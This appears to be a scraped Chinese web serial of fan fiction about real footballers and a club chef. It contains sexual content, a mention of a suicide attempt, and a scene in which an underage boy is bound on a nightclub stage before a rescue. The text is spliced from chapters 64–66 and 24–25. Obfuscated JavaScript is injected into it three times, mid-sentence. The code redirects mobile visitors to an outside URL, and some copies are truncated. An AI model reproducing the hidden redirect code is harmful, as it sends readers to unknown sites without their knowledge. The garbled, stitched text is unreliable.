德容看他和莱万最近走的挺近不是一起洗澡就是一起健身还给他包了波兰饺子。 明显的不爱搭理自己了。 他突然明白了感情就像沙子攥的越紧流失的就越快越多。 但他非想去抓这把沙子,哪怕在手心里停留一会儿也行。 在一个晚宴结束后德容把加班到深夜的厨子给堵在了路上。 克里奇利纳闷了,这一晚上他都没找自己说过话,大晚上的跑过来干嘛?难道是想约会? “别回酒店了,去我家。”德容拉着他上车。 还真是找他约会。克里奇利说我以为你都讨厌我了,怎么还… “是!我讨厌你没节操,没底线,到处乱播种,是个彻头彻尾的大尾巴狼。难怪那谁要甩了你。”后面那句说的很小声。 “那你为什么又让我去你家?” “我想跟你打一个赌,不知道你愿意不愿意。” “说来听听。” “到我家再说。” 克里奇利也是好奇心重,他本来也不讨厌德容,这样阳光帅气笑就爽朗大笑,怒就直戳痛处的直性子讲真他还挺喜欢的。 即便是吵架了过后也不记仇大家还是一团火,好兄弟,该给谁的直塞一点都不耽误。 对克里奇利的态度也是如此,喜欢的时候就勾过来说一句,你真他妈好,就知道我想吃这个。 生气的时候就狠狠的捏一把他的腰,愤愤地骂你个渣男又想马德里的小甜菜做个甜点能齁死人! 克里奇利心想到他家无非就是走个流程,走流程之前先和他说明白,不要对他有过分的期待,期待越大失望越大。 没想到德容对他说要跟他处关系一个月。 他有点难懂。 德容说如果在这段关系中,你能保证不和其他人乱搞我以后再也不找你麻烦,你说什么是什么,我绝不反驳,如果你做不到我就把你手脚吊起来摇晃你。 克里奇利没忍住噗嗤一声笑了,他说原来你口味这么重的,竟然喜欢这个,我看是你想被吊起来摇晃。 他说你放屁,接着就跳起来扑到他的身上,一下把他扑倒在地面,顺势坐在他的胸口上,用膝盖压住他两个手腕,居高临下的审视着他。 克里奇利被他这么凶狠的扑过来,一点防备都没有,后背重重的磕在了地板上,他喘着粗气试图翻身,竟然被他压的没有一点反抗的余地。 德容说反正你也做不到,不如现在就试试。 克里奇利说,赌什么,如果我能做到呢。 德容被他真诚的眼神给唬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970977|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了,慢慢放松了警惕,膝盖从他的手臂上移开,俯下身来看着他这张充满迷惑性的帅脸。 有些幼态的大眼萌叔而已。 他一掉以轻心,接着就被经验老道的厨子给颠了下去,翻身形成了反压。 反压的瞬间有些暴力,怕他后脑勺磕到硬瓷砖,温柔强大的男人还把自己厚重的手掌垫在了他那金发小脑袋后面。 德容躺在了柔软的掌心里,一句骂爹的脏话又咽了回去。 “我还没答应你到底和不和你赌,你就这么心急,唉,真的是年轻气盛啊,不过我喜欢。” 克里奇利把自己的衣服脱掉,准备先满足他以后再谈条件。 德容可不是为了这一顿快餐。 他说等等,我们可不可以先说说话。 克里奇利把他从冰凉的地上捞起来,拉着他的手来到窗边,月光映进来照在他平肩长颈上,如果不是男人,这可以盛水的锁骨和颀长的天鹅颈一定是个性感小野猫,可现在他站在那里,看上去有些失落。 “怎么了?谈什么?”克里奇利抬手抚摸他的脖子。 “你在搞类似集邮集章之类的游戏吗?就没想过安稳下来?你也会有老的一天,到那时候还到处开屏到处播种吗?” 刚谈崩了一场恋爱的他可没那么快又想谈恋爱,说到底他还是认为人活到40就行,死了就死了,别有什么放不下的。 如果有人放不下他,也不好,死了的又不知道,活着的更难受,所以及时行乐,及时止损,有什么不好。 他说:“千万别爱上我。一个月太长,我不敢赌。” 他看过一本杂志上写过这样一句话:一个月足以爱上一个人,而三个月就很难走出来了。 他和德布劳内谈了半年多,现在还没恢复好呢,还是会梦见他,那个把他从滥情调调里揪出来给他灌了一碗鸡汤教他长情和专一的人,最终因为现实的困境和一点点坏情绪不得不继续放任他。 每次想到这些他都感到胸口痛,吃止痛药无法缓解的那种。 德容突然拔高的声调把他的思绪拉了回来,顺带着还有手臂上传来的疼痛。 “嘶…” 一个厚重清晰的牙印落在了他的右小臂上,再狠一点就要出血。 “为什么!为什么不是我!别人都是找个替代品,你怎么跟别人不一样呢,我连替代品都不配吗?我是不是长的不,好,看!” 他微红的眼尾透着一丝不甘,说出的英语清晰板正还带着一点自嘲的语调,让克里奇利听的有点佩服荷兰人的语言天赋,就跟比人一样,真的是一个完美的替代品。 他虽然觉得他们很像,但从未想过让德容当替代品,他对德容说你从来不是谁的替代品,而且你很帅气。 德容金色小脑袋缓慢摇晃着,“你是不是跟…马竞那小子睡了!” 克里奇利抿了抿嘴唇,低头看了看那个牙印,又看了看他,还没等说什么,他就转身捡起地上的衣服,狠狠丢在克里奇利的身上,怒斥他,“滚!” 莫名其妙,让他来,说要跟他处关系,又因为别人吃醋,还叫他滚,这是什么操作,把克里奇利给惹怒了。 65.第 65 章 吃着碗里的看着锅里的。 送到嘴边的不吃白不吃。 吃小动物和握手一样简单。 这些以前用惯了的道理怎么现在不能用了吗? 克里奇利不明白,不谈恋爱要写在脸上吗? 德容啊,你怎么是个恋爱脑呢。 德容骂他你个脑子有病的伪君子。 他拿上衣服回道:“不,伪君子太轻了,我是卑鄙无耻的混蛋,怎么你还要试试吗?” 德容上前一把抓住他的胳膊,把他扔在墙面上,抵住他的脖子质问道,“你总想要看看下一个是不是更好,难道有感情的ml是不对的吗?这太说不过去了!” “那是异性恋。” “去他的异性恋,根本就是你该死的偏见!”德容脸涨得通红,像极了他在场边气的跳脚的样子。 “我跟你说这些并不是因为我喜欢你喜欢的要命,是因为你他妈就是一个披着好皮囊的怪胎,打着gay的名义到处霍霍别人,根本不懂爱,也没有勇气去接受爱和被爱,可悲!” 德容话音落下,接下来便是相当长时间的沉默。 两个人面对面站着,克里奇利后背贴在门口的墙面上,清冷的眼尾没有任何感情流露。 德容也不知道接下来该怎么办,如果他就这样被自己骂走也挺没道理的,毕竟自己不是他什么人,如果非要扯上什么关系,就是一个单方面想要了解他的人,哪怕一个月也行。 “想听故事吗,弗兰基?”他突然打破了这份沉默。 “本来就想像朋友那样聊聊天,可你…总是在忙。” “那些故事太烂了,没人想听,也没人想讲。” “没关系,不要沉浸,说来听听,夜还很长。”德容突然语气温柔下来。 于是,看上去不温不火的男人把衣服扔在一边,懒洋洋的迈着步子走进主卧,像在自己家似的仰面躺在床上,双手交叠在脑后。 德容跟上来,也脱了衣服躺在他身边。 自然而然的贴近,朋友之上恋人未满的距离。 克里奇利从未想过要对谁解释自己的恋爱观,再哭诉自己有一个多么不幸的过去,这又不是什么可歌颂可标榜可以借此获得可怜悲悯的借口,他根本不需要。 也许是因为有人愿意听,又也许是他被戳到痛处,为了不把一切毁掉,卖个惨兴许能让德容觉得好过一点。 克里奇利犹豫的转过头来看他,那人正一脸期待的等着他讲故事。 “怎么了?需要一个亲亲才能讲吗?”德容觉得刚才自己又凶又拽可能吓到他了,于是乖巧的趴在他身边像个摇晃着尾巴等摸摸的小橘猫。 “呵…”克里奇利抬手捏了捏他有点泛红的耳尖,接着把他搂过来在他额头上轻轻一吻,像讲睡前故事一样开启了尘封已久的往事。 他说:“有一个13岁的小男孩,在房间里对着一本男模杂志发泄的时候被他爸撞破,于是带他去荒郊野岭打猎,说是要磨练他的男人血性,因为他死都不想养一个娘娘腔。” “那是一个寒冬,温度很低,刮着暴风雪,天地都连成一片,白茫茫的看不清什么方向。他爸非要让他穿过那片树林去打只什么动物回来,打不到就别回来。” “他出了门之后,风雪席卷而来,差点没被吹得背过气去。看着灰白的一片天和对面的深山老林,他越走越害怕。” “他想不会有事的。” “如果遇到什么事他爸会来救他的。” “脑子里想着这件事,在冰天雪地里走了不知道多久,也没有看到一个活物。” 讲到这,克里奇利低头看看怀里的人,那人一点困意没有,眨巴着蓝色的大眼睛正听的兴致勃勃。 “后来呢?”听故事的人忍不住催他。 “后来,他不小心跌进了一个雪窝,大雪把他淹没,他感觉快要窒息,爬了半天终于从雪窝里爬出来,但是脚崴了一下走不动了,也迷失了方向。” “他觉得自己要死在这里了。” “拖着冰冷的身体和受伤的脚,继续漫无目的的走,终于看到一个山洞。” “他走进去躲避风雪,等人来救他。不知不觉睡着了,醒来后天已经黑了,他再次感到绝望。” 讲到这他声音有些微微抖动,闭上眼睛似乎在品味什么。 “他怎么获救的?”德容很着急听到那个获救的场面,似乎克里奇利讲的慢点,那孩子就要多冻一秒。 “他迷迷糊糊失去意识之前好像听到了天使降临的声音。” “天使降临的声音?是什么声音?” “风吹过山洞的呼呼声。” “然后呢?” “然后他就不知道了。” “他死了?” “嗯。” “去你的!”德容显然对这个故事感到不满,伸手打了他胸脯一巴掌。 “一部电影而已,不要当真。” “滚。”德容转过去了,心里有点疼,他知道那不是电影,是一个少年心酸的过去。 “好吧,他没死。”克里奇利转过来伸长胳膊从身后搂住他,继续讲。 “他睁开眼睛时发现自己被一头熊抱着,吓的他本能的挣扎,抓住熊的围巾,那头熊竟然开口说话,它说孩子别怕,我是来救你的。” “又在骗人,熊哪有围巾。”德容把手覆在他的手背上,帮助他搂紧自己,说不沉浸,现在他好像变成了那个雪夜里的孩子。 “嗯,被你发现了。他以为那是头熊,因为那人有络腮胡,看着毛茸茸的。” “后来,他把我脱了塞进一个睡袋里,他也脱了钻进来,他真的是熊,浑身都…” “哈…”德容转过来,用惊喜的目光看着他,“你被熊睡了?” “我哪知道,我浑身都冻僵了,想钻进熊的身体里,他又厚重又温暖就是有点扎人。” “噢,你终于肯承认那人是你了。” 克里奇利没意识到,什么时候第三人称讲到第一人称了,他说,“用BC代替吧。” 他拒绝代入小时候,一定受了很大的心理创伤,现在讲起来就想讲一个故事一个电影片段,让德容听了感到窝心。 德容抬起下巴,亲吻了他有些干燥的嘴唇,想知道他那狠心的父亲有没有后悔。 “BC的父亲呢?一定哭死了。” “呵…谁知道呢。反正BC回到家时他父亲就开始时不时的离家出走,好像家对他来说就是个旅店,回来了也是无休止的争吵和欺骗。” “他妈妈呢?有没有安慰他?” “他妈妈是一个虔诚的基/督/徒,她说你要是这样病下去会下地狱的。” “噢不!” “你猜怎么着,BC想去地狱看看有没有帅哥。” “啊?”德容不敢听,他怕听到BC的刀子。 “他在洗手间割腕,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我才比你大几岁,还我那个年代,只是你是温室花朵,大人们手心里的宝,没过早经历这些,当然我也不希望你经历这些。” 德容捏着他的下巴,用怜悯的目光看着他,可他这张棱角分明的脸一点也不像柔弱的小白莲,平和的说着别人的故事一样揭开自己的伤疤。 “我是你的白熊。”德容说着翻身压在他身上,脸颊发烫,没什么别的安慰方式,手指伸进他半长不短的头发里,攥住他,亲吻他,大力揉搓他的头毛和耳朵,想要给他熊一样抱抱和安全感。 “嘿,我不需要同情,因为我不是娘娘腔。”他揪着德容的脖子像揪住熊的帽兜,把他提溜起来,轻笑着继续说,“你身上都没毛,还白熊,你就是一只喜怒无常还动不动就心软掉小珍珠的小猴子,看我怎么吃掉你的小猴脑,小猴爪,小猴叽…” 他还不至于编故事来骗小猴子肉吃,他本可以用充满攻击性爆炒一切的本事,让好奇心重的小猴子因被狠狠满足而全身绷的紧紧的。 但他还是讲了哄小猴子睡觉的睡前故事,还让小猴子误以为他是故作坚强的娘娘腔,那么,对不起了,听故事是要收费的。 他发誓不要做娘娘腔,最初他面对杂志的时候想的也不是委身于高大威猛的男人怀里,而是把高大威猛的男人摁在底下,告诉他们自己血气方刚,只是喜欢的恰好是男而已。 过后,德容看着他因情感交错而始终没有舒展开来的眉头,忍不住抬手想要摸。 却又停滞在了半空。 算了,自己出现的不是时候。 他就算学会了怎么去爱,也是一头自由的无惧风雪的独狼,死都不怕,还怕什么,自己何必给他枷锁,让他被认定为一个绝情的混蛋呢。 谁吃醋谁傻瓜,还是个大傻瓜! 66.第 66 章 德容不提和他处关系的事了。 因为他经不住考验,这一个月绝壁给他戴lv帽,让他自找苦吃,可不打赌就意味着摇晃不了他了,这成为德容心里难以割舍的秘密心结。 他想做却捞不着做的紧接着就亲眼看见了。 莱万把他亲密的健身搭子吊在健身单杠上,用松紧带绑住他两个脚踝腾空拉起,让他大腿往回发力,说是帮他拉伸大腿筋。 他说我拉伸大腿筋干嘛,我又不踢球。 莱万说你腿太瘦,拉伸一下有助于增加肌肉力量。 他问能不能一条腿一条腿的拉,两条腿都被你举起来,我万一掉下来摔后脑勺怎么办。 莱万说放心吧,这底下不是有垫子吗。 你要是坚持不了就说,主要是为了双腿强度均衡。 被莱万安排通透的克里奇利为了面子死撑着抓住单杠,大腿因往回收力而暴起青筋血管,手臂鱼型肌肉也极限隆起,看上去像在受某种极为痛苦的刑罚。 被莱万蹂躏的实惨,连叫声都好像被一下一下冲撞而断断续续冲出喉咙的英国俏厨子,把在一边摸鱼的德容看的嗓子都要冒烟了。 他想救他又不想。 “不行了不行了。”克里奇利终于松口,说再拉我真要掉下来了。 莱万还不舍得松开他,德容说,“行了,没有你这么欺负老实人的。” 下一秒,老实人就瘫在莱万身上,把他扑倒在垫子上了。 一个体脂率极低的壮汉仰面躺在垫子上,短裤被搓了上去,露出山脉一样的臀大肌。 一个汗流浃背浑身反光像刚出水的美男鱼,因胳膊无力负重直接零距离粘贴在那壮汉身上。 德容有一种飞身过去叠罗汉的冲动。 然而他只能忍着干渴默默走过去,把粘在一起的两个人强行拉开,顺带训了他们一句,“你们两个30多的老男人,还没长大吗?健身房禁止打闹,受伤了找挨批呢!” 看了不该看的,压着心火看到精彩的地方,过后又要恶语点评。 够了,最初就不该碰他,否则就会想要更多。德容现在看他和别人有一点过分的亲密动作,心火就要烧起来,要是处了关系肯定会被他虐的体无完肤。 凶完他们的德容暗骂自己是头猪,红着腮帮子离开健身房。 “他吃错药了?”莱万侧过头看着一脸汗水的克里奇利。 “不,他说的对,罗伯特,我工伤了。” 接下来,克里奇利因胳膊肌肉拉伤请假一周,他端不动锅了。 莱万推荐他去做筋膜刀,他拒绝了,说我为什么那么热爱上班,还得拿刀逼自己,好了,让我休息一周吧。 莱万觉得自己有不可推卸的责任,于是带着刀,还有伏特加酒去他住的酒店打算安慰他。 克里奇利把英俊又爱笑的巴萨头号射手请进门,对他说见谅,我这地方小,没什么招待你的,莱万说,我带了酒和下酒菜,顺便给你理疗。 他看到筋膜刀后脸色又白了几个度,快赶上莱万白了。 他说:“哥们,我生平最怕痛,所以酒可以乱喝,人也可以乱来,就是刀不能乱用。” 莱万举着蛇头一样的小钝刀,从他的胸前划到小腹,说:“我轻点,保证不会让你感觉到痛。” …… 克里奇利感觉自从他来到巴萨就一直被一双蓝悠悠的眼睛给监视着,现在看来,那不是监视,是视煎。 而且这人还有个怪癖,就是爱在群里艾特别人再撤回,然后重新再把消息私发给别人。 他不知道莱万有没有对别人这样做过,反正他就收到过不止一次。 德容在群里说早饭能不能都坚持来,做的这么丰盛来的人没几个,不知道的还以为我们新晋主厨做的不好吃,其实是你们太懒,非比赛日就睡懒觉,要我点名吗? 莱万回复,我可是出勤率最高的,对我们新晋主厨必须支持。 佩德里纠正他们,布莱恩来了快三个月了,还新晋主厨呢,你们真没良心。 加维艾特莱万,说你以前可是吐槽餐厅最凶的,现在竟然一有吃的话题就兴奋,得让克里奇利站球门后面炒菜,香味就把你勾去射门了。 莱万回复哈哈哈,然后艾特克里奇利说,你就按照加维说的做,人站那就行,爱吃人狂喜狂射门。 你爱吃人啊?一板一眼的拉菲尼亚发了个拿锅敲他的表情。 结果,他撤回了,然后私下给克里奇利发,说对不起我不是要射你和吃你,我的意思是你做的食物很好吃,很诱人。 解释的克里奇利小脸通黄,还给他发了个小黄心。 接着莱万就时不时的安排独处的机会,下班就喊他去健身,还像个健身教练一样各种摆弄他,健完身以后拉着他去洗澡,洗完澡以后拉着他对着镜子自拍,拍了好多好多。 像是一种健身日记,不满意的地方甚至想用刀来修修。 这不,举着刀的野心家终于有机会在他垂涎已久的身体上试验试验了,这次的理由太充分了,他之前训练过度都是用刀来缓解的,刮的时候无比酸爽,刮完了一身轻松。 “我轻点。”他把手搭在克里奇利的肩膀上,示意他躺下。 “我真的不用。”克里奇利伸手推他,结果双手正推在波兰人饱满的胸肌上,触感紧绷微弹,对摁惯了男人的克里奇利来说,摸上去比看着要带劲的多,出于本能的捏了捏。 这一捏把波兰人捏爽了,他笃定克里奇利是他认为的那种双开门,拥有漂亮的下巴和一双男女通杀的大眼仁让人忍不住想多看几眼。 他浑身散发着热浪就像蒸笼里的热气,特别是洗澡后脸上皮肤白里透粉,和那种动不动就续须彰显雄性魅力的猛男不同,克里奇利有一股点到为止的放荡和收放自如的潇洒劲儿。 他不抗拒就是默认可以对他做进一步的探索。莱万试探着握住了他的肩膀,顺着肩膀力道加重的揉捏他的胳膊,一边按摩一边用眼神来回打量他。 一向用眼神衡量别人意向的克里奇利没想到也有一天被别人揣摩。 莱万摸了他半天笃定他是不会拒绝他这样的威猛先生的,于是上前一步把人放倒在身后的大床上,对着他肩膀上的肌肉就下了刀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莱万被克里奇利说的不知所措,想又不敢,敢又不会,自己隐藏了很久的心思被他轻而易举的说出口,实在是有些难为情。 他仔细想了想,自己应该是想在上面的,以前对某个人就有过这种想法,结果因为自己的犹豫不决浪费了机会不说,还把关系搞砸了。 现在可以挽回的机会来了。 莱万躺在床上没有转过去,克里奇利也躺在他身边,因为胳膊不能受力而正在考虑别的办法。 莱万说:“我失去了他,没法挽回了。当时太年轻总觉得负担不了,对他若即若离的。如果可以,我想向他证明我爱他。” “他是男的?” “嗯。” 他刚才说不确定自己是不是对男的也感兴趣,现在又推翻,真的是一个超级别扭又可怜的家伙。 “把我当成他吗?” “不是,对不起,我不是不尊重你。” “别废话了,把我当成他就行!” 克里奇利翻身上压,不用胳膊支撑,让身下人承受他整个身体的重量,毫不留情的吻了过去。 莱万被他吻住,一时懵了,那种想当左位的念头正被娴熟诱人的亲吻给一点点碾压。 把他想象成那个人是不可能的,那个人没有他这么大胆,也没有他这么放肆。 他没有任何掩饰,像12点的烈日,直射而来。 “小样的,跟我俩在这磨磨唧唧。” 克里奇利把送上门来要那刀吓唬他的九五之尊压的那是一点脾气都没有。 24-30 第24章 被凶了不是坏事,有…… 被凶了不是坏事,有时候被凶的人反而占了上风,因为凶人的人总觉得自己太过严厉而失了亲和。 主要是这个罗勒松子意面实在是太好吃,让德布劳内不得不怀疑这个主厨是天神下凡。他不仅中餐做的好,西餐也拿得出手,并且还有口味新奇的融合餐。 要是占为己有是不是有点自私? 他结束一天的训练后,看到餐厅在收工,帅气的主厨脚步匆忙,赶在3点整准时下班,德布劳内鬼使神差的在俱乐部门口把他给堵住了。 “加个班吧!克里奇利先生。” 他刚洗过澡金发被微风吹散,泛着光泽,面色微微发红,微笑着说着让打工人倒吸一口凉气的话。 “今天没有比赛,德布劳内先生。” “接私活吗?” “嗯?” “罗德里吃了你的定制餐,现在他已经可以康复训练了,我想问问你收费多少?” “你的意思是晚上我还得在打一份工是吗?” “你的作息几乎和我们同步,这么早就下班太浪费了吧。” “德布劳内先生,谢谢你欣赏我,我早上几乎全勤,忙一头午,下午下班再去打两份工,晚上我还要去蹦迪,是分不清pain和pleasure了吗?”说这话的时候,克里奇利始终保持微笑,但显然心情不是很好。 “不接受算了,不过你做的菜的确好吃,我原谅你早上放错酱的事,这件事翻篇了。” “谢谢你。”克里奇利搂过他的脸亲了他一口。 就是这么简单直接,一个有些逾越的贴面礼。通常贴面礼是不会真的亲上的,都是贴一下脸再发出一声诚挚的亲亲声,然而克里奇利这个贴面礼是实打实的亲了他一口。 亲完他就走了,像一个事后不负责任的自私的混蛋,让德布劳内独自在风中凌乱。 他摸摸自己的脸,还有口水在上面,真他爹是个浪荡君子,张口就来啊! 克里奇利今天下班这么早就急着回家是因为有心事。他昨晚捡的阿根廷野生动物还在家里不知道饿死了没,他会不会自己找吃的,他还在吗? 回去一看,好家伙,门都没关,那个叫托马斯的小孩果然不见了。 家里乱糟糟的,但也没有被翻过的痕迹,只是被子扔在地上,自己的衬衫也皱巴成一团扔在沙发上,厨房散落着一些面包空包装袋还有东一只西一只的拖鞋,这只小鹿在这么小的房间里乱撞了? 克里奇利抬腕看了看表,惊讶的发现手表不在手腕上,今天忙了一天都没发现这个问题,一定是昨晚落在浴室里了,他有点印象,结果他找了半天也没找到,好了4000多的手表不翼而飞,自己还是太大意了,怎么能这么轻易地相信一个陌生的小鬼头呢,还是外籍,找都不好找。 克里奇利失望的坐在床边,纠结要不要报警,后来一想也是自己的失误,算了,就当做慈善了。 这时他手机响,一看是伦敦小分队打开的视频电话。 来到曼彻斯特还没跟这两个家伙联系过,现在正好心情郁闷,他俩来电来的真不是时候。 在他俩聒噪的私生活探听下,克里奇利为了耳根子清净还是把最近的倒霉事跟讲笑话一样讲给他俩听了。 这俩人听了非但没安慰他,还落井下石,理查德说,“你这个伪君子,干嘛不先占点便宜,4000找个雏鸡也值了。” 保罗说:“笨蛋,花了买圣诞订制焦糖拿铁的钱连杯速溶咖啡都没喝到,这还是我们认识的那个六亲不认的伦敦一枝花吗?真给伦敦queers丢脸。” “你俩三观有问题,都退下吧,朕要睡觉了。” 也不是他要装清高,是觉得这俩人太不会安慰人了,越说越让他难受。 他睡了一小会,精神才好一些,罗德里打电话说今天不用送餐,他要去参加宴会,还问他去不去,他说一听宴会就手抖,罗德里笑他职业病,还叫他工作是工作生活是生活,不要太拼了,他说是啊,我也不知道怎么回事今天差点酿成大错,把德布劳内惹到了,不过幸亏他不是对番茄过敏,否则后果不堪设想。 罗德里安慰他说,德布劳内刀子嘴豆腐心,他凶人自己也会内疚,慢慢你就知道了。 克里奇利来曼城斯特以来还没出去玩过,不知道是不是年纪大了浪不动了还是一时接受不了新事物,不过他看了一眼时间后迅速否定了自己那些可怕的想法,立刻穿上他的黑色大V领紧身衣,套上皮夹克,开车前往那道听途说的神秘夜店“鸟鸣”。 “鸟鸣”是一个综合性夜店,包罗万象,玩的挺花,形形色色什么人都有,异性恋在跳舞亲吻,转而就和同性亲上了,不过,克里奇利看了一会就入乡随俗了。 倒不是伦敦没有,只是他和朋友们习惯了nice的氛围,规则简单,上手很快,一个眼神确定你喜欢我吗,我喜欢,那就走,不喜欢,好,那算了。不用浪费谈情说爱约会聊天的时间,一个月27,8个不带重样的,也难怪他记不住人名。 今天这个场美女帅哥挺多,让他一时分不清类别,不过凭借他这优质人类往那一站,很快就有上前试探他的。 先是一个美女过来摸了他脸一把,他笑笑无动于衷,接着一个帅哥就蹭了上来,问他内还是外? 他说内吧。 帅哥就扯着他的衣领往大厅深处走去。 里面有好几个内厅,其中一个标着gay专场的内厅门口正在发传单,看来夜生活才刚刚开始。 引路的小帅哥搂着他的腰,说,“走吧,今天正赶上选美大赛,说不定可以挑个像你这么好看的一起玩一定更过瘾。” “选美大赛?” 正当说着,他手里就多了一个传单。 他第一次来,很多事儿摸不清套路,这个小帅哥就跟导游似的一边拉着他进去,一边给他介绍。 “这是鸟鸣一个月一次的选美大赛,奖金丰厚,有大佬资助,听说今晚奖金池里好几十万,第一名的可以带走至少这个数。”他伸出了三个手指头。 克里奇利撇撇嘴角,其实他并不感兴趣,他只是想看看这个gay专属的内厅有什么好玩,外面太乱,还是有针对性选择比较好。 他和小帅哥进去以后就在一边喝酒调情,这时台上已经有模特热场了,他们看了一会觉得无聊,克里奇利问他你说的内是哪里?不如我们现在就去吧。 小帅哥笑着亲了他一口,说,就在这个内厅的楼下,有个暗室,但是只有vip可以进去,你有吗? “说实话我是第一次来。” “看出来了,你有着新人的拘谨,没关系,我可以带你,我跟那个酒保很熟。” 拘谨?克里奇利掐住他的后颈给了他一个豪放的伦敦见面礼,他还没学会拘谨这个词怎么拼。 小帅哥被他亲的差点从吧台高凳上瘫软下去,还好被他抓住了肩头,摁在怀里好好稀罕了一番,调酒师看了给小帅哥递了个眼色,好像在说,可以啊,今晚这个不错。 他们刚要离开吧台往楼下的内室走,克里奇利就听到台上的主持人在介绍今晚参加选美的美人,当他介绍到来自南美的汤姆明戈时,克里奇利脚步停滞了,他一转身就看见那个受伤的小鹿正穿个泳裤站在台上,镭射灯照在他雪白的身子上,一双惊慌失措的眼睛看向台下,似乎在寻找什么。 不知道他昨晚说的名字是假的,还是今天用的是假的,两个名字是如此的相近,撒谎都这么笨拙。 克里奇利穿过人群靠近舞台,舞台上的主持人还在介绍,他说:“汤姆身上的伤可不是我给打的,他说是他自己不小心弄的,不过这样看上去倒是挺美的,说不定他喜欢被这样对待,是不是,小美人?” 主持人用他手中的指挥棒戳了戳“汤姆”光溜溜的身子,“汤姆”羞涩的往后躲了躲,这一举动引起了台下的起哄和口哨,高台上的一些神秘看客也开始交头接耳,台上的这五个小帅哥就像精致的盘中餐等着今晚被瓜分。 “嘿!托马斯,你这个小偷,混蛋,给我滚下来!” 克里奇利一时有些激动,想要冲上去抓住他,但是很快就被安保给拦了下来。 “嘿,冷静点,他是我朋友,他第一次来,不是来闹事的。”带他进来的小帅哥赶紧替他解围,好说歹说才把他从安保手里拉出来。 “叫你朋友规矩点,今晚可都是有头有脸的人物,别让我们难做,克莱尔。” 台上的托马斯也看见了这一撇的骚乱,当他看见克里奇利的时候,有些惊讶,但很快就无视了他,继续按照主持人的口令进行着转体,跪下,扭动等一些带有暗示的动作,只是他的动作有些僵硬。 这个叫克莱尔的小帅哥拉着克里奇利往楼下走,一边走一边说:“要不是我朋友是那个调酒师,他们会把我们都赶出去的。”他看了看克里奇利,发现他还是有些不甘心,就把他拉进暗室的隔间里,亲吻他,没有得到回应,问他:“怎么了?你认识那个汤姆?” “……”克里奇利点点头又摇摇头。 “算了,别想了,台上的都是要爬上富豪的床的。” 说着克莱尔就又亲了亲他的脖子,顺着亲下去… 克里奇利虽然心里还惦记着要追问托马斯那件事,也不想辜负今晚这个主动招惹他的小帅哥,很快就把克莱尔按在隔板上泄了火,然后一语不发的靠在暗室的墙上抽烟。 过了一会,那个克莱尔突然从楼上跑了下来,气喘吁吁的找到克里奇利,对他说:“你到底认不认识那个汤姆,他正被人绑在行刑架上拍照留念一会要公开处刑表演,他好像很不乐意,喊着叔叔救他,你是不是他叔叔啊?” “淦!”克里奇利把烟一丢,脑子又一热,三步并作两步冲上楼去。 第25章 克里奇…… 克里奇利也预测不到自己究竟要干嘛,他只是觉得这个孩子还没成年,虽然有些叛逆倒还不至于被推进地狱里任人采撷,但他能做什么,他也不知道,只是胸中有把火在烧。 他刚上去就看到托马斯被反扭着双手送到台前的一个架上,正要把手腕脚腕绑在上面,而托马斯在拼命挣扎,台下像看表演一样等待着今晚的冠军被完成“加冕”仪式。 “叔叔,我只是想找叔叔,我不要拍照也不要什么加冕,奖金我也不要了!把手表退给我,我不参加了!”托马斯求饶着,挣扎的双手把架上的链条弄的哗哗作响。 可他们根本不听,奖金池里的金额一直在上涨。 旁边还有人笑说着还矜持上了,参加这种选美不都是一个目的,找个温床让人养起来吗。 “等等,他说他要找叔叔,你们听不见吗?”克里奇利再次靠近高台,台上的人看了他一眼,不声不响的把托马斯绑在了架子上,勒紧了手腕脚腕上皮带。 托马斯听见克里奇利的声音,扭过头来用乞求的目光看着他,喊着:“叔叔救我!我错了!我真的错了!” “放开他,他不是自愿的。” 克里奇利想要上台去解救他,还是被安保强行拽住并扭送他离开高台。 台上的主持人扬起了手中的指挥棒,说,“你要找的叔叔那上面都是,只要你表现好,一会哭的大声一点,一定会有丰厚的奖励。” “对,就这样,演的再像一点。” 现在克里奇利也不知道他到底是真不情愿还是演的,他的眼神那么楚楚可怜,却又充满了欺骗性。 赌一把,万一赢了呢。 “他是未成年,你们知道你们这样做能判多少年吗?” 克里奇利挣脱开两个彪形大汉的掌控,趴在高台边给这些无情的组织者投射了一颗重磅炸弹。 “what?” 台上台下一片哗然。 “嘿,小家伙,你的身份证?” “假的,他还是个外籍,护照都过期了!”克里奇利又语出惊人。 “Oh,fuck!”主持人抬头看向高台,那边有几个神秘人开始退场。 “解开。”主持人命令帮手,帮手们懒懒不动,似乎还没玩够。“我说,解开!” 托马斯被松绑了,他从高台上一跃而下,被克里奇利一把接住,他不仅脚伤没好还双腿发软,吓的语无伦次,说起了西语,他说:“带我走。” “臭小鬼,你们不能就这样走了,今晚的奖金你一分都拿不到,别忘了你还签了协议!” 只穿着一条泳裤的托马斯拉住克里奇利的手就往外跑,跑着跑着就变成克里奇利单手拎着他往外跑,还不忘从门口的存衣处拿上自己的皮衣给他裹上,然后一路跑到停车场,发动起汽车。 这一切疯狂的举动导致肾上腺素飙升,就跟被人追杀了一样。克里奇利开着车带他离开鸟鸣,过了好一会才开口问他:“你到底捅了多大的篓子?我们为什么要跑?” 托马斯把脸埋在大衣领子里,不敢出声。 “别给我装哑巴,把事情说清楚,不然我现在就送你去警局,嗯?汤姆明戈?” “托马斯.多明戈斯,我没有骗你。” “跑能解决问题吗?” “至少今天不用留下黑历史,不然我出名了以后,这些都能成为杀死我的理由。” “oh my 